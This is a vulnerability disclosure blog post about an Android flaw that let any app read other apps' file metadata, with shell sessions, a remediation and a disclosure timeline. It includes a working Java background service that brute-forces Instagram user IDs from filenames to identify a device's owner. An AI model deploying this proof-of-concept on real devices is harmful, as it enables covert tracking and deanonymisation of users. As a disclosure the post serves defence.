TL;DR: A rogue Android app could read any other App’s file metadata: filename, size, last modification date. If a filename contained sensitive predictable data, the rogue Android app could locally brute-force this, which was the case for Instagram on Android. Through the leakage of filesize and last modification date, a rogue Android app could monitor real-time usage of others apps. The file system permissions bug has been present in Android since the very beginning. Google rated this vulnerability as a low risk issue and paid out a $500 bug bounty.
Issue
Android App Private Data is currently stored by default in /data/data/<packagename>/. This data is supposed to be visible & accessible only by the App itself, not by any other App. Let’s take the Youtube App as an example. It has its private data stored at location /data/data/com.google.android.youtube/. Let’s look at the directory & file permissions from top to bottom:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
/data/ drwxrwx--x system system 2015-11-30 20:30 data /data/data/ drwxrwx--x system system 2015-11-29 15:34 data /data/data/com.google.android.youtube drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02 com.google.android.youtube /data/data/com.google.android.youtube/* drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15 app_sslcache drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54 cache drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10 files lrwxrwxrwx install install 2015-11-29 11:02 lib -> /data/app-lib/com.google.android.youtube-1 drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54 shared_prefs |
As can be noticed, all directories in the hierarchy have the executable (+x) permission set for others. Straight from Wikipedia:
The execute permission grants the ability to execute a file. When set for a directory, this permission grants the ability to access file contents and meta-information if its name is known, but not list files inside the directory, unless read is set also.
Testing this empirically confirms this: other users can cd into these directories, but cannot ls all files inside the directory (no read access) or e.g. create files (no write access):
1 2 3 4 5 6 7 8 9 10 11 12 |
u0_a84@mako:/data/data $ ls -la opendir failed, Permission denied u0_a84@mako:/data/data $ cd com.google.android.youtube u0_a84@mako:/data/data/com.google.android.youtube $ ls -la opendir failed, Permission denied u0_a84@mako:/data/data/com.google.android.youtube $ cd wrongdir /system/bin/sh: <stdin>[22]: cd: /data/data/com.google.android.youtube/wrongdir: No such file or directory u0_a84@mako:/data/data/com.google.android.youtube $ cd shared_prefs u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs $ ls -la opendir failed, Permission denied u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs $ echo “test” > test.xml /system/bin/sh: <stdin>[31]: can't create test.xml: Permission denied |
However, what is remarkable is that existing files inside these directories can be listed and their meta-information gathered, when the filename is known beforehand. In the case of the Youtube app, there is a default file named “youtube.xml” in the shared_prefs folder. This file can be listed by any other app, but not read due to file permissions on the file itself:
1 2 3 4 |
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs $ ls -la youtube.xml -rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54 youtube.xml u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs $ cat youtube.xml /system/bin/sh: <stdin>[28]: cat: youtube.xml: Permission denied |
As can be seen, any rogue app can thus:
- Verify the existence of private files of other apps via attempting to “ls” them on their expected location
- Poll the size and last modified data of existing files of other apps
This imposes a security issue. It can be exploited in at least two different ways:
- A rogue app can monitor usage of any other app, by monitoring carefully chosen files. E.g. if a rogue app wants to keep track when the Android mobile device user utilizes Youtube, the file size & last modified date of private file “youtube.xml” in Youtube’s shared_prefs directory can be polled periodically. This file is constantly being modified while the Youtube app is in use, and thus can be used to perform stealthy usage profiling.
- In case that a legitimate app uses sensitive but predictable data as part of a filename, this can be brute-forced by rogue apps. One example I’ve seen coming by a couple of times is a unique user identifier. E.g. Instagram and Facebook have the below files stored at the following locations:
- Instagram: /data/data/com.instagram.android/shared_prefs/<USERID>.xml
- Facebook: /data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-<USERID>.xml
In case of Instagram, the unique USERID currently lies in range 0-2500000000, which is feasible for a local brute-force attack. The following java code for an Android Service can be used by a rogue app to brute force the identifier in the background, in order to reveal the identity of the Android mobile phone’s user via this account:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
import java.io.File; import java.math.BigInteger; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.util.Log; public class MyService extends Service { @Override public int onStartCommand(Intent intent, int flags, int startId) { new Thread(new Runnable() { public void run() { Log.v("brute", "Bruteforce started"); BigInteger begin = BigInteger.ZERO; BigInteger end = new BigInteger("2500000000"); String dirPath = "/data/data/com.instagram.android/shared_prefs/"; while(begin.compareTo(end) != 1) { String filename = begin.toString() + ".xml"; File test = new File(dirPath,filename); if(test.exists()) { Log.v("brute", "Account found: " + begin.toString()); } begin = begin.add(BigInteger.ONE); } Log.v("brute", "Bruteforce ended"); } }).start(); return Service.START_STICKY; } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } } |
Note that once the service has been started, the original rogue Android app can be closed – the service will keep on brute-forcing in the background. The attack was performed on a Nexus 4 device and took less than 5 days to cycle through all 2.500.000.000 possible files, hitting the correct one on the go:
This could be used by an attacker to discover the real identity of the user of the device he/she has infected. This JSONP waterhole attack from 2015 had a similar purpose. Note that Instagram also contains a Content Provider to query the USERID of the registered account (com.instagram.contentprovider.CurrentUserProvider), but is prohibited to query for other apps by default as tested through Drozer:
It is thus clearly not the intention of Instagram to reveal this information to other untrusted Applications. I initially found this Android bug while examining the Instagram app during my bug hunting endeavors there.
Remediation
The issue can be remediated by removing the +x permissions for others on app directories in /data/data. This will prevent cd’ing & listing of known files inside these directories, as this property cascades properly:
1 2 3 4 |
u0_a84@mako:/data/data $ cd com.google.android.youtube u0_a84@mako:/data/data/com.google.android.youtube $ cd .. u0_a84@mako:/data/data $ ls -la com.google.android.youtube/shared_prefs/youtube.xml -rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54 youtube.xml |
1 2 3 4 5 |
root@mako:/data/data # ls -la | grep youtube drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02 com.google.android.youtube root@mako:/data/data # chmod 750 com.google.android.youtube root@mako:/data/data # ls -la | grep youtube drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02 com.google.android.youtube |
1 2 3 4 |
u0_a84@mako:/data/data $ cd com.google.android.youtube /system/bin/sh: <stdin>[25]: cd: /data/data/com.google.android.youtube: Permission denied u0_a84@mako:/data/data $ ls -la com.google.android.youtube/shared_prefs/youtube.xml com.google.android.youtube/shared_prefs/youtube.xml: Permission denied |
Timeline
- 30/11/2015: Submitted bug report to Google Android Bug Bounty
- 30/11/2015: Reply from Google stating that they will look into it
- 03/12/2015: Reply from Google stating they are treating this as a High Severity issue
- 08/01/2016: Update from Google stating that they lowered this to a Low Severity issue
- 23/01/2016: Update from Google stating that they see this as a hardening request, rather than a security issue. “There is a fix available and it will be part of the next major Android release.”
- 14/04/2016: $500 bounty granted
- 08/09/2016: Confirmation of fix in Android 7.0 by Google & permission to publish this blogpost granted
great article,
I learn much from your blog.
thanks..
Nice find!